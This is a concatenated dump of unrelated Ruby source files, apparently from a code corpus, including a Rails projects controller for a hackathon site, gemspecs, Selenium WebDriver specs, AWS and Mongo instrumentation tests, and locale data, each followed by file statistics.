0.0, 0.0) } assert_raise(TypeError) { obj === Color.new(0.0, 0.0, 0.0, 0.0) } assert_raise(TypeError) { obj.eql?(Color.new(0.0, 0.0, 0.0, 0.0)) } end assert_equal(:hoge == obj, false) assert_equal(:hoge === obj, false) assert_equal(:hoge.eql?(obj), false) end def test_dump_1 obj = @@klass.new(55, 60, 65, 70) assert_equal(obj._dump(0), "\x37\x00\x00\x00\x3C\x00\x00\x00\x41\x00\x00\x00\x46\x00\x00\x00") obj = @@klass.new(-55, -60, -65, -70) expected = "\xC9\xFF\xFF\xFF\xC4\xFF\xFF\xFF\xBF\xFF\xFF\xFF\xBA\xFF\xFF\xFF" expected.force_encoding("ASCII-8BIT") rescue nil assert_equal(obj._dump(0), expected) end def test_dump_2 obj = @@klass.new(55, 60, 65, 70) assert_equal(obj._dump(-1), "\x37\x00\x00\x00\x3C\x00\x00\x00\x41\x00\x00\x00\x46\x00\x00\x00") end def test_dump_3 obj = @@klass.new(55, 60, 65, 70) assert_equal(obj._dump("hoge"), "\x37\x00\x00\x00\x3C\x00\x00\x00\x41\x00\x00\x00\x46\x00\x00\x00") end end end
34.446768
105
0.569789
11132617cf11a7442ee5cb0c6215c5cce6af540f
1,719
# coding: utf-8 # frozen_string_literal: true lib = File.expand_path('../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'handshaker/version' Gem::Specification.new do |spec| spec.name = 'handshaker' spec.version = Handshaker::VERSION spec.authors = ['Alessandro Desantis'] spec.email = ['[email protected]'] spec.summary = 'Handshaker is a Ruby gem for implementing multi-strategy Collaborative Transactional Validation' spec.description = 'CTV is a process where multiple parties cooperate to validate the integrity of a transaction. You can think of it as a very sophisticated `if` check, that might potentially involve tens of different conditions. ' spec.homepage = 'https://github.com/batteries911/handshaker' spec.license = 'MIT' # Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host' # to allow pushing to a single host or delete this section to allow pushing to any host. if spec.respond_to?(:metadata) spec.metadata['allowed_push_host'] = "TODO: Set to 'http://mygemserver.com'" else fail 'RubyGems 2.0 or newer is required to protect against ' \ 'public gem pushes.' end spec.files = `git ls-files -z`.split("\x0").reject do |f| f.match(%r{^(test|spec|features)/}) end spec.bindir = 'exe' spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) } spec.require_paths = ['lib'] spec.add_development_dependency 'bundler', '~> 1.15' spec.add_development_dependency 'rake', '~> 10.0' spec.add_development_dependency 'rspec', '~> 3.0' spec.add_development_dependency 'byebug', '~> 9.1' end
40.928571
120
0.696335
e9f463f19914d4659f94ded395a4f03d221a5d10
105
module ActiveAdmin module Xls # ActiveAdmin XLS gem version VERSION = '2.0.3'.freeze end end
15
33
0.685714
e84a386d315ceac1b3a28a8448ed34f3f3976874
10,468
class ProjectsController < ApplicationController before_action :set_project, only: [:show, :edit, :update, :destroy] before_action :set_project_for_team, only: [:team, :add_team_member, :remove_team_member] before_action :check_project_view_active, only: [:index, :search, :public] before_action :check_project_create_active, only: [:new, :create, :update, :project_submit_info] before_action :delete_before_check, only: [:delete] skip_before_action :auth_user, :only => [:index, :show, :public] def index if HackumassWeb::Application::PROJECTS_PUBLIC and (not current_user or not current_user.is_organizer?) redirect_to public_projects_path else check_permissions end @projects = Project.all.paginate(page: params[:page], per_page: 20) @projectsCSV = Project.all respond_to do |format| format.html format.csv { send_data @projectsCSV.to_csv, filename: "projects.csv" } end end def search if params[:search].present? @projects = Project.joins(:user).where("lower(users.first_name) LIKE lower(?) OR lower(users.last_name) LIKE lower(?) OR lower(users.email) LIKE lower(?) OR lower(title) LIKE lower(?) OR lower(link) LIKE lower(?) OR table_id = ?", "%#{params[:search]}%", "%#{params[:search]}%", "%#{params[:search]}%", "%#{params[:search]}%", "%#{params[:search]}%", params[:search].match(/^(\d)+$/) ? params[:search].to_i : 99999) @projects = @projects.paginate(page: params[:page], per_page: 20) else redirect_to projects_path end end def public if params[:winners] if Rails.env.production? @projects = Project.where("LENGTH(prizes_won::varchar) > ?", 2) else @projects = Project.where("prizes_won != ?", "[]") end elsif params[:prize] if Rails.env.production? @projects = Project.where("prizes::varchar LIKE ?", "%#{params[:prize]}%") else @projects = Project.where("prizes LIKE ?", "%#{params[:prize]}%") end else @projects = Project.all end if Rails.env.production? @winners_count = Project.where("LENGTH(prizes_won::varchar) > ?", 2).count else @winners_count = Project.where("prizes_won != ?", "[]").count end @projects = @projects.order("created_at DESC").paginate(page: params[:page], per_page: 20) end def show projects_public = HackumassWeb::Application::PROJECTS_PUBLIC if (not projects_public) or (not check_feature_flag?($Projects)) if current_user.is_attendee? if current_user.project_id != @project.id redirect_to index_path, alert: "Public access to projects is disallowed." end end end end def new if current_user.has_published_project? redirect_to project_path(current_user.project) else @project = Project.new end end def edit # Prevent users from editing their project when submissions/creation is closed. unless check_feature_flag?($project_submissions) or (current_user != nil and current_user.is_organizer?) if current_user != nil and current_user.project != nil redirect_to current_user.project, alert: 'You may not make changes to your project now.' else redirect_to index_path, alert: 'You may not make changes to your project now.' end end if not current_user.is_organizer? and @project.id != current_user.project_id redirect_to index_path, alert: "This isn't your assigned project." end end def create @project = Project.new(project_params) @project.user << current_user respond_to do |format| if @project.save format.html { redirect_to project_team_path(@project), notice: 'Project was successfully created. Please add additional team members by entering their email addresses.' } format.json { render :show, status: :created, location: @project } else format.html { render :new } format.json { render json: @project.errors, status: :unprocessable_entity } end end end def update respond_to do |format| if @project.update(project_params) format.html { redirect_to @project, notice: 'Project was successfully updated.' } format.json { render :show, status: :ok, location: @project } else format.html { render :edit } format.json { render json: @project.errors, status: :unprocessable_entity } end end end def destroy @project.user.each do |user| user.project_id = nil user.save end @project.destroy respond_to do |format| format.html { redirect_to index_path, notice: 'Project was successfully destroyed.' } format.json { head :no_content } end end def project_submit_info if current_user.has_published_project? redirect_to project_path(current_user.project) elsif check_feature_flag?($project_submissions) if current_user.is_admin? redirect_to projects_path end else redirect_to index_path, alert: 'Error: Unable to create new project. Project creation and submission is currently disabled.' end end def team if not check_feature_flag?($project_submissions) and current_user.is_attendee? redirect_to current_user.project, alert: 'Error: Unable to modify team members while project creation is disabled.' return end unless current_user.is_admin? or current_user.is_organizer? if current_user.project_id != @project.id redirect_to index_path, alert: "You don't have permission to edit this project's team." elsif !check_feature_flag?($project_submissions) redirect_to index_path, alert: 'Error: Unable to create new project. Project creation and submission is currently disabled.' end end end def add_team_member if params[:add_team_member].present? @user = User.where(email: params[:add_team_member]).first if @user.nil? redirect_to project_team_path(@project), alert: "Unable to add team member. Ensure the email is spelled correctly." elsif [email protected]_id.nil? redirect_to project_team_path(@project), alert: "Unable to add team member. #{params[:add_team_member]} is already on a team." elsif @user.is_admin? or @user.is_mentor? or @user.is_organizer? redirect_to project_team_path(@project), alert: "Unable to add administrators, organizers, or mentors as a team member." else @project.user << @user redirect_to project_team_path(@project), notice: "#{params[:add_team_member]} successfully added to team." end else redirect_to project_team_path(@project), alert: "Unable to add team member. You must specify an email address." end end def remove_team_member @user = User.find(params[:user_to_remove]) if @project.user.length <= 1 redirect_to project_team_path(@project), alert: "Unable to remove team member. You must have at least one person on a project team. If you still wish to be removed, you can delete the project." elsif @user == current_user @project.user.delete(@user) @project.save redirect_to root_path(@project), notice: "You have removed yourself from the project team." else @project.user.delete(@user) @project.save redirect_to project_team_path(@project), notice: "Removed #{@user.email} from project team." end end private # Use callbacks to share common setup or constraints between actions. def set_project begin @project = Project.find(params[:id]) rescue ActiveRecord::RecordNotFound redirect_to index_path, alert: 'Looks like we could not find that project (404)' end end def set_project_for_team begin @project = Project.find(params[:project_id]) rescue ActiveRecord::RecordNotFound redirect_to index_path, alert: 'Looks like we could not find that project (404)' end end # Never trust parameters from the scary internet, only allow the white list through. def project_params params.require(:project).permit(:title, :description, :link, :projectimage, :youtube_link, :inspiration, :does_what, :built_how, :challenges, :accomplishments, :learned, :next, :built_with, :power, tech:[], prizes:[]) end def check_permissions unless current_user.is_admin? or current_user.is_mentor? or current_user.is_organizer? redirect_to index_path, alert: 'You do not have the permissions to see all projects' end end def check_project_view_active if current_user == nil unless check_feature_flag?($Projects) redirect_to index_path, alert: "Error: Access to project gallery is currently disabled." end else unless check_feature_flag?($Projects) or current_user.is_admin? or current_user.is_mentor? or current_user.is_organizer? redirect_to index_path, alert: "Error: Access to project gallery is currently disabled." end end end def check_project_create_active # Prevent access to creating/viewing project unless the user already has one unless check_feature_flag?($project_submissions) or current_user.has_published_project? redirect_to index_path, alert: 'Error: Unable to create new project. Project creation and submission is currently disabled.' end end def delete_before_check # Prevent users from deleting their project when submissions/creation is closed. unless check_feature_flag?($project_submissions) or (current_user != nil and current_user.is_organizer?) if current_user != nil and current_user.project != nil redirect_to current_user.project, alert: 'You may not make changes to your project now.' else redirect_to index_path, alert: 'You may not make changes to your project now.' end end if not current_user.is_organizer? and @project.id != current_user.project_id redirect_to index_path, alert: "This isn't your assigned project." end end end
38.485294
223
0.668514
28c96ec71f706b4ccf95de3017462ba0bc4cd5b3
250
module OregonDigital::ControlledVocabularies class License < ActiveFedora::Rdf::Resource include OregonDigital::RDF::Controlled configure :rdf_label => RDF::DC11.title use_vocabulary :cclicenses use_vocabulary :ccpublic end end
22.727273
45
0.764
e2343f19063dae6c75418fd2aeeffe5be6799622
656
require 'rails_helper' RSpec.describe Admin::DashboardsAttributesController, type: :controller do let(:user) { FactoryBot.create(:user) } before { sign_in user } describe 'POST create' do let(:dashboards_attribute_group) { FactoryBot.create(:api_v3_dashboards_attribute_group) } let(:valid_attributes) { FactoryBot.attributes_for( :api_v3_dashboards_attribute, dashboards_attribute_group_id: dashboards_attribute_group.id ) } it 'clears cache' do expect(controller).to receive(:clear_cache_for_regexp) post :create, params: {api_v3_dashboards_attribute: valid_attributes} end end end
29.818182
98
0.734756
f8d528ff9919144df6fda1f75114466f029266b2
2,132
class QualificationsController < ApplicationController before_action :set_qualification, only: [:show, :edit, :update, :destroy] # GET /qualifications # GET /qualifications.json def index @qualifications = Qualification.all end # GET /qualifications/1 # GET /qualifications/1.json def show end # GET /qualifications/new def new @qualification = Qualification.new end # GET /qualifications/1/edit def edit end # POST /qualifications # POST /qualifications.json def create @qualification = Qualification.new(qualification_params) respond_to do |format| if @qualification.save format.html { redirect_to @qualification, notice: 'Qualification was successfully created.' } format.json { render :show, status: :created, location: @qualification } else format.html { render :new } format.json { render json: @qualification.errors, status: :unprocessable_entity } end end end # PATCH/PUT /qualifications/1 # PATCH/PUT /qualifications/1.json def update respond_to do |format| if @qualification.update(qualification_params) format.html { redirect_to @qualification, notice: 'Qualification was successfully updated.' } format.json { render :show, status: :ok, location: @qualification } else format.html { render :edit } format.json { render json: @qualification.errors, status: :unprocessable_entity } end end end # DELETE /qualifications/1 # DELETE /qualifications/1.json def destroy @qualification.destroy respond_to do |format| format.html { redirect_to qualifications_url, notice: 'Qualification was successfully destroyed.' } format.json { head :no_content } end end private # Use callbacks to share common setup or constraints between actions. def set_qualification @qualification = Qualification.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def qualification_params params.require(:qualification).permit(:name) end end
28.426667
105
0.698405
4a542132e9ee7cab3b1465c08bd2f63a85fd671b
1,333
# # a language data file for Ruby/CLDR # # Generated by: CLDR::Generator # # CLDR version: 1.3 # # Original file name: common/main/uz_Cyrl.xml # Original file revision: 1.4 $ # # Copyright (C) 2006 Masao Mutoh # # This file is distributed under the same license as the Ruby/CLDR. # private def init_data @hourformat = "+HH:mm;-HH:mm" @hoursformat = "{0}/{1}" @regionformat = "{0}" @fallbackformat = "{0} ({1})" @abbreviationfallback = "standard" @preferenceordering = "" @singlecountries = "Africa/Bamako America/Godthab America/Santiago America/Guayaquil Asia/Shanghai Asia/Tashkent Asia/Kuala_Lumpur Europe/Madrid Europe/Lisbon Europe/London Pacific/Auckland Pacific/Tahiti" @exemplarcities = {} @long_generics = {} @long_standards = {} @long_daylights = {} @short_generics = {} @short_standards = {} @short_daylights = {} end public attr_reader :hourformat attr_reader :hoursformat attr_reader :regionformat attr_reader :fallbackformat attr_reader :abbreviationfallback attr_reader :preferenceordering attr_reader :singlecountries attr_reader :exemplarcities attr_reader :long_generics attr_reader :long_standards attr_reader :long_daylights attr_reader :short_generics attr_reader :short_standards attr_reader :short_daylights
27.204082
217
0.72168
876539130d4a4cc98323fa5e9d01d45aef9b135e
760
require 'test_helper' module CryptoProviderTest class Sha1Test < ActiveSupport::TestCase def test_encrypt assert Authlogic::CryptoProviders::Sha1.encrypt("mypass") end def test_matches hash = Authlogic::CryptoProviders::Sha1.encrypt("mypass") assert Authlogic::CryptoProviders::Sha1.matches?(hash, "mypass") end def test_old_restful_authentication_passwords password = "test" salt = "7e3041ebc2fc05a40c60028e2c4901a81035d3cd" digest = "00742970dc9e6319f8019fd54864d3ea740f04b1" Authlogic::CryptoProviders::Sha1.stretches = 1 assert Authlogic::CryptoProviders::Sha1.matches?(digest, nil, salt, password, nil) Authlogic::CryptoProviders::Sha1.stretches = 10 end end end
33.043478
88
0.726316
38872cc4cea07cd85265b1a7fdd20bef8267e8af
12,162
# encoding: utf-8 # # Licensed to the Software Freedom Conservancy (SFC) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The SFC licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. require_relative 'spec_helper' module Selenium module WebDriver describe Driver do it 'should get the page title' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.title).to eq('XHTML Test Page') end it 'should get the page source' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.page_source).to match(%r{<title>XHTML Test Page</title>}i) end it 'should refresh the page' do driver.navigate.to url_for('javascriptPage.html') sleep 1 # javascript takes too long to load driver.find_element(id: 'updatediv').click expect(driver.find_element(id: 'dynamo').text).to eq('Fish and chips!') driver.navigate.refresh expect(driver.find_element(id: 'dynamo').text).to eq("What's for dinner?") end context 'screenshots' do it 'should save' do driver.navigate.to url_for('xhtmlTest.html') path = "#{Dir.tmpdir}/test#{SecureRandom.urlsafe_base64}.png" save_screenshot_and_assert(path) end it 'should warn if extension of provided path is not png' do driver.navigate.to url_for('xhtmlTest.html') path = "#{Dir.tmpdir}/test#{SecureRandom.urlsafe_base64}.jpg" message = "name used for saved screenshot does not match file type. "\ "It should end with .png extension" expect(WebDriver.logger).to receive(:warn).with(message) save_screenshot_and_assert(path) end it 'should not warn if extension of provided path is png' do driver.navigate.to url_for('xhtmlTest.html') path = "#{Dir.tmpdir}/test#{SecureRandom.urlsafe_base64}.PNG" expect(WebDriver.logger).not_to receive(:warn) save_screenshot_and_assert(path) end it 'should return in the specified format' do driver.navigate.to url_for('xhtmlTest.html') ss = driver.screenshot_as(:png) expect(ss).to be_kind_of(String) expect(ss.size).to be > 0 end it 'raises an error when given an unknown format' do expect { driver.screenshot_as(:jpeg) }.to raise_error(WebDriver::Error::UnsupportedOperationError) end def save_screenshot_and_assert(path) begin driver.save_screenshot path expect(File.exist?(path)).to be true expect(File.size(path)).to be > 0 ensure File.delete(path) if File.exist?(path) end end end describe 'one element' do it 'should find by id' do driver.navigate.to url_for('xhtmlTest.html') element = driver.find_element(id: 'id1') expect(element).to be_kind_of(WebDriver::Element) expect(element.text).to eq('Foo') end it 'should find by field name' do driver.navigate.to url_for('formPage.html') expect(driver.find_element(name: 'x').attribute('value')).to eq('name') end it 'should find by class name' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.find_element(class: 'header').text).to eq('XHTML Might Be The Future') end it 'should find by link text' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.find_element(link: 'Foo').text).to eq('Foo') end it 'should find by xpath' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.find_element(xpath: '//h1').text).to eq('XHTML Might Be The Future') end it 'should find by css selector' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.find_element(css: 'div.content').attribute('class')).to eq('content') end it 'should find by tag name' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.find_element(tag_name: 'div').attribute('class')).to eq('navigation') end it 'should find child element' do driver.navigate.to url_for('nestedElements.html') element = driver.find_element(name: 'form2') child = element.find_element(name: 'selectomatic') expect(child.attribute('id')).to eq('2') end it 'should find child element by tag name' do driver.navigate.to url_for('nestedElements.html') element = driver.find_element(name: 'form2') child = element.find_element(tag_name: 'select') expect(child.attribute('id')).to eq('2') end it 'should find elements with a hash selector' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.find_element(class: 'header').text).to eq('XHTML Might Be The Future') end it 'should find elements with the shortcut syntax' do driver.navigate.to url_for('xhtmlTest.html') expect(driver[:id1]).to be_kind_of(WebDriver::Element) expect(driver[xpath: '//h1']).to be_kind_of(WebDriver::Element) end end describe 'many elements' do it 'should find by class name' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.find_elements(class: 'nameC').size).to eq(2) end it 'should find by css selector' do driver.navigate.to url_for('xhtmlTest.html') driver.find_elements(css: 'p') end it 'should find children by field name' do driver.navigate.to url_for('nestedElements.html') element = driver.find_element(name: 'form2') children = element.find_elements(name: 'selectomatic') expect(children.size).to eq(2) end end describe 'execute script' do it 'should return strings' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.execute_script('return document.title;')).to eq('XHTML Test Page') end it 'should return numbers' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.execute_script('return document.title.length;')).to eq(15) end it 'should return elements' do driver.navigate.to url_for('xhtmlTest.html') element = driver.execute_script("return document.getElementById('id1');") expect(element).to be_kind_of(WebDriver::Element) expect(element.text).to eq('Foo') end it 'should unwrap elements in deep objects' do driver.navigate.to url_for('xhtmlTest.html') result = driver.execute_script(<<-SCRIPT) var e1 = document.getElementById('id1'); var body = document.body; return { elements: {'body' : body, other: [e1] } }; SCRIPT expect(result).to be_kind_of(Hash) expect(result['elements']['body']).to be_kind_of(WebDriver::Element) expect(result['elements']['other'].first).to be_kind_of(WebDriver::Element) end it 'should return booleans' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.execute_script('return true;')).to eq(true) end # https://github.com/SeleniumHQ/selenium/issues/3337 not_compliant_on driver: :remote, platform: :macosx do not_compliant_on browser: [:chrome, :phantomjs, :edge] do it 'should raise if the script is bad' do driver.navigate.to url_for('xhtmlTest.html') expect { driver.execute_script('return squiggle();') }.to raise_error(Selenium::WebDriver::Error::JavascriptError) end end end it 'should return arrays' do driver.navigate.to url_for('xhtmlTest.html') expect(driver.execute_script('return ["zero", "one", "two"];')).to eq(%w[zero one two]) end it 'should be able to call functions on the page' do driver.navigate.to url_for('javascriptPage.html') driver.execute_script("displayMessage('I like cheese');") expect(driver.find_element(id: 'result').text.strip).to eq('I like cheese') end it 'should be able to pass string arguments' do driver.navigate.to url_for('javascriptPage.html') expect(driver.execute_script("return arguments[0] == 'fish' ? 'fish' : 'not fish';", 'fish')).to eq('fish') end it 'should be able to pass boolean arguments' do driver.navigate.to url_for('javascriptPage.html') expect(driver.execute_script('return arguments[0] == true;', true)).to eq(true) end it 'should be able to pass numeric arguments' do driver.navigate.to url_for('javascriptPage.html') expect(driver.execute_script('return arguments[0] == 1 ? 1 : 0;', 1)).to eq(1) end it 'should be able to pass null arguments' do driver.navigate.to url_for('javascriptPage.html') expect(driver.execute_script('return arguments[0];', nil)).to eq(nil) end it 'should be able to pass array arguments' do driver.navigate.to url_for('javascriptPage.html') expect(driver.execute_script('return arguments[0];', [1, '2', 3])).to eq([1, '2', 3]) end it 'should be able to pass element arguments' do driver.navigate.to url_for('javascriptPage.html') button = driver.find_element(id: 'plainButton') js = "arguments[0]['flibble'] = arguments[0].getAttribute('id'); return arguments[0]['flibble'];" expect(driver.execute_script(js, button)) .to eq('plainButton') end it 'should be able to pass in multiple arguments' do driver.navigate.to url_for('javascriptPage.html') expect(driver.execute_script('return arguments[0] + arguments[1];', 'one', 'two')).to eq('onetwo') end end not_compliant_on browser: :phantomjs do describe 'execute async script' do before do driver.manage.timeouts.script_timeout = 0 driver.navigate.to url_for('ajaxy_page.html') end it 'should be able to return arrays of primitives from async scripts' do result = driver.execute_async_script "arguments[arguments.length - 1]([null, 123, 'abc', true, false]);" expect(result).to eq([nil, 123, 'abc', true, false]) end it 'should be able to pass multiple arguments to async scripts' do result = driver.execute_async_script 'arguments[arguments.length - 1](arguments[0] + arguments[1]);', 1, 2 expect(result).to eq(3) end # Edge BUG - https://connect.microsoft.com/IE/feedback/details/1849991/ not_compliant_on browser: :edge do not_compliant_on driver: :remote, platform: :macosx do it 'times out if the callback is not invoked' do expect do # Script is expected to be async and explicitly callback, so this should timeout. driver.execute_async_script 'return 1 + 2;' end.to raise_error(Selenium::WebDriver::Error::ScriptTimeoutError) end end end end end end end # WebDriver end # Selenium
38.85623
128
0.624322
f7c9f955b1800537967996f9c1decba3ac760c80
179
# Bullshit fix for 1.8.7 begin require 'rubygems' rescue LoadError # oh well! end require 'nice-sigint' module LicenseGenerator autoload :App, "license-generator/app" end
13.769231
40
0.743017
4a976ea318268183a38055ece8ef08e975ae3079
1,413
require 'clockwork' require 'cloud_controller/clock/distributed_scheduler' module VCAP::CloudController class Clock FREQUENT_FUDGE_FACTOR = 1.second.freeze DAILY_FUDGE_FACTOR = 1.minute.freeze HIGH_PRIORITY = 0 MEDIUM_PRIORITY = 1 LOW_PRIORITY = 100 def schedule_daily_job(name:, at:, priority:) job_opts = { name: name, interval: 1.day, at: at, fudge: DAILY_FUDGE_FACTOR, } schedule_job(job_opts) do job = yield Jobs::Enqueuer.new(job, queue: name, priority: priority).enqueue end end def schedule_frequent_worker_job(name:, interval:) job_opts = { name: name, interval: interval, fudge: FREQUENT_FUDGE_FACTOR, } schedule_job(job_opts) do job = yield Jobs::Enqueuer.new(job, queue: name).enqueue end end def schedule_frequent_inline_job(name:, interval:, timeout:) job_opts = { name: name, interval: interval, fudge: FREQUENT_FUDGE_FACTOR, thread: true, timeout: timeout, } schedule_job(job_opts) do job = yield Jobs::Enqueuer.new(job, queue: name).run_inline end end private def schedule_job(job_opts) DistributedScheduler.new.schedule_periodic_job(job_opts) { yield } end end end
22.790323
72
0.607219
7a5b87f7aa2116ab6e43752fa29c79daac859908
403
require 'json' require 'warden' require 'octokit' require 'warden/github/sso' require 'warden/github/user' require 'warden/github/oauth' require 'warden/github/version' require 'warden/github/strategy' require 'warden/github/hook' require 'warden/github/config' require 'warden/github/membership_cache' require 'warden/github/verifier' require 'active_support/message_verifier' require 'securerandom'
23.705882
41
0.808933
3352336acda41dbb7885cc98c8c304536e54477e
295
namespace :security do task :brakeman do sh "brakeman -q -z --report-direct" end task :rails_best_practices do path = File.expand_path("../../../", __FILE__) sh "rails_best_practices #{path}" end end task :security => ['security:brakeman', 'security:rails_best_practices']
22.692308
72
0.681356
bb9e23e3a9a8ced32ac302c285625bd2da20ac1d
927
# Define/extend global data type classes to provide data validation methods # specific to/for the DataValidator module require 'log_wrapper' require 'data_validator/validation_result' require 'data_validator/classes/base' class IntegerOrNull include LogWrapper extend DataValidator::Base def self.builder info "#{self}.builder()" ret = allocate info "#{self}.builder(): #{ret}" ret end def valid_value?(data) info "#{self}.valid_value?(#{data}) - #{data.class}" ret = !data.nil? && ( Integer.valid?(data).is_good? || !(data.to_s =~ %r{^(IntegerOrNull|null)$}).nil? ) info "#{self}.valid_value?(): #{ret}" ret end def valid?(data) info "#{self}.valid?(#{data}) - #{data.class}" ret = DataValidator::ValidationResult.new ret.bad!(self, data) unless valid_value?(data) info "#{self}.valid?(): #{ret}" ret end end #### END OF FILE
21.55814
75
0.636462
f7c0549a53dc4843c6d74c0e7ebe51bf37d9953a
2,345
# Copyright (c) 2009-2012 VMware, Inc. require 'spec_helper' describe Bosh::AwsCloud::Cloud do let(:volume) { double(AWS::EC2::Volume, id: 'v-foo') } let(:cloud) do mock_cloud do |ec2| allow(ec2.volumes).to receive(:[]).with('v-foo').and_return(volume) end end before do allow(Bosh::AwsCloud::ResourceWait).to receive_messages(sleep_callback: 0) end it 'deletes an EC2 volume' do allow(Bosh::AwsCloud::ResourceWait).to receive_messages(for_volume: {volume: volume, state: :deleted}) expect(volume).to receive(:delete) cloud.delete_disk('v-foo') end it 'retries deleting the volume if it is in use' do allow(Bosh::AwsCloud::ResourceWait).to receive_messages(for_volume: {volume: volume, state: :deleted}) allow(Bosh::Clouds::Config).to receive(:task_checkpoint) expect(volume).to receive(:delete).once.ordered.and_raise(AWS::EC2::Errors::VolumeInUse) expect(volume).to receive(:delete).ordered cloud.delete_disk('v-foo') end it 'raises an error if the volume remains in use after every deletion retry' do allow(Bosh::Clouds::Config).to receive(:task_checkpoint) expect(volume).to receive(:delete). exactly(Bosh::AwsCloud::ResourceWait::DEFAULT_WAIT_ATTEMPTS).times. and_raise(AWS::EC2::Errors::VolumeInUse) expect { cloud.delete_disk('v-foo') }.to raise_error("Timed out waiting to delete volume `v-foo'") end it 'does a fast path delete when asked to' do options = mock_cloud_options['properties'] options['aws']['fast_path_delete'] = 'yes' cloud = mock_cloud(options) do |ec2| allow(ec2.volumes).to receive(:[]).with('v-foo').and_return(volume) end expect(volume).to receive(:delete) expect(volume).to receive(:add_tag).with('Name', {value: 'to be deleted'}) expect(Bosh::AwsCloud::ResourceWait).not_to receive(:for_volume) cloud.delete_disk('v-foo') end it 'raises the Clouds::DiskNotFound error when the disk is not found' do expect(volume).to receive(:delete).and_raise(AWS::EC2::Errors::InvalidVolume::NotFound) expect { cloud.delete_disk('v-foo') }.to raise_error { |error| expect(error).to be_a(Bosh::Clouds::DiskNotFound) expect(error.ok_to_retry).to eq(false) expect(error.message).to match(/Disk 'v-foo' not found/) } end end
32.123288
106
0.690405
6a24186d26db425917af759f5dc4cb4c2097c01d
80
module RspecInit class MisteryModel def self.where(params); end end end
13.333333
31
0.7375
b94344b1f7507164b090daba9990e930cf1dbcac
62
json.partial! "admin/locations/location", location: @location
31
61
0.790323
382dc378d491889bd929a9f867cf1d445792c9e2
1,807
module ShoppingCart class Order < ActiveRecord::Base include AASM aasm column: :state do state :in_progress, initial: true state :in_queue state :in_delivery state :delivered state :canceled event :queue do transitions from: :in_progress, to: :in_queue end event :deliver do transitions from: :in_queue, to: :in_delivery end event :shipped do transitions from: :in_delivery, to: :delivered end event :cancel do transitions from: :in_queue, to: :canceled end end STATE_ARRAY = %i(in_progress in_queue in_delivery delivered canceled) has_many :order_items, dependent: :delete_all accepts_nested_attributes_for :order_items belongs_to :billing_address, class_name: 'ShoppingCart::Address', foreign_key: 'billing_address_id' belongs_to :shipping_address, class_name: 'ShoppingCart::Address', foreign_key: 'shipping_address_id' belongs_to :customer, polymorphic: true belongs_to :delivery belongs_to :credit_card belongs_to :coupon belongs_to :my_step, class_name: 'ShoppingCart::MyStep' scope :in_progress, -> { where(state: 'in_progress') } delegate :take_item, to: :order_items def state_enum STATE_ARRAY end def calculate_total update(sub_total_price: items_sum, total_price: total_sum) end private def items_sum order_items.sum('price * quantity') * discount end def total_sum shipping_price + items_sum end def discount coupon_exists? ? (100.0 - coupon.per_cent) / 100.0 : 1 end def coupon_exists? !coupon.nil? end end end
23.467532
70
0.634754
b977c1ee55e7bf3e53cc8d6c1385a81bfff441f5
19,942
# encoding: utf-8 # This file is distributed under New Relic's license terms. # See https://github.com/newrelic/newrelic-ruby-agent/blob/main/LICENSE for complete details. require 'mongo' require 'newrelic_rpm' require 'new_relic/agent/datastores/mongo' require 'helpers/mongo_metric_builder' if NewRelic::Agent::Datastores::Mongo.is_supported_version? && NewRelic::Agent::Datastores::Mongo.is_monitoring_enabled? require File.join(File.dirname(__FILE__), 'helpers', 'mongo_helpers') module NewRelic module Agent module Instrumentation class Mongo2InstrumentationTest < Minitest::Test include Mongo include TestHelpers::MongoMetricBuilder include NewRelic::MongoHelpers def setup Mongo::Logger.logger = mongo_logger @database_name = "multiverse" @client = Mongo::Client.new( ["#{$mongo.host}:#{$mongo.port}"], database: @database_name ) @database = @client.database @collection_name = "tribbles-#{fake_guid(16)}" @collection = @database.collection(@collection_name) @tribbles = [{'name' => 'soterios johnson', 'count' => 1}, {'name' => 'wes mantooth', 'count' => 2}] @tribble = {:_id => 1, 'name' => 'soterios johnson'} NewRelic::Agent::Transaction.stubs(:recording_web_transaction?).returns(true) NewRelic::Agent.drop_buffered_data end def teardown NewRelic::Agent.drop_buffered_data @collection.drop end def test_noticed_error_at_segment_and_txn_when_violating_unique_contraints expected_error_class = /Mongo\:\:Error/ txn = nil begin in_transaction do |db_txn| txn = db_txn @collection.insert_one(@tribble) @collection.insert_one(@tribble) end rescue StandardError => e # NOP -- allowing span and transaction to notice error end assert_segment_noticed_error txn, /insert/i, expected_error_class, /duplicate key error/i assert_transaction_noticed_error txn, expected_error_class end def test_noticed_error_only_at_segment_when_violating_unique_constraints expected_error_class = /Mongo\:\:Error/ txn = nil in_transaction do |db_txn| begin txn = db_txn @collection.insert_one(_id: 1) @collection.insert_one(_id: 1) rescue Mongo::Error::OperationFailure => e # NOP -- allowing ONLY span to notice error end end assert_segment_noticed_error txn, /insert/i, expected_error_class, /duplicate key error/i refute_transaction_noticed_error txn, expected_error_class end def test_noticed_error_only_at_segment_when_command_fails expected_error_class = /Mongo\:\:Error/ txn = nil in_transaction do |db_txn| begin txn = db_txn @database.collection("bogus").drop rescue Mongo::Error::OperationFailure => e # NOP -- allowing ONLY span to notice error end end assert_segment_noticed_error txn, /bogus\/drop/i, expected_error_class, /ns not found/i refute_transaction_noticed_error txn, expected_error_class end def test_records_metrics_for_insert_one in_transaction do 